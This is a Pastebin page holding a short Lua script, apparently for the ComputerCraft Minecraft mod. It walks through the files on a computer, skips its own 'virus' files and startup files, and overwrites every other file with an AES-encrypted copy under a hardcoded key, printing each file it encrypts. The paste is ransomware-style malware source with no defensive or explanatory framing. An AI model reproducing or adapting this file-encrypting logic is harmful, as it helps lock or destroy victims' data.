KittenPixel

Untitled

Nov 19th, 2022 (edited)
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. for _,v in pairs(files) do
  2. if string.sub(v, 1,5) == "virus" then
  3. else
  4. print("Found file " .. v)
  5. end
  6. end
  7.  
  8. for _,v in pairs(files) do
  9. if string.sub(v, 1,5) == "virus" then
  10. else
  11. print("Found file " .. v)
  12. end
  13. end
  14. print("starting enc")
  15. local iv = {}
  16. for i = 1,16 do iv[i] = math.random(1,255) end
  17. for _,v in pairs(files) do
  18. if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" then
  19. else
  20. local hBf = fs.open(v, "r")
  21. local stuff = hBf.readAll()
  22. local encrypted = aeslua.encrypt("you thought didnt you",stuff)
  23. print("Encrypted file " .. v)
  24. hBf.close()
  25. hAf = fs.open(v, "w")
  26. hAf.write(encrypted)
  27. hAf.close()
  28. end
  29. end
Advertisement
Add Comment
Please, Sign In to add comment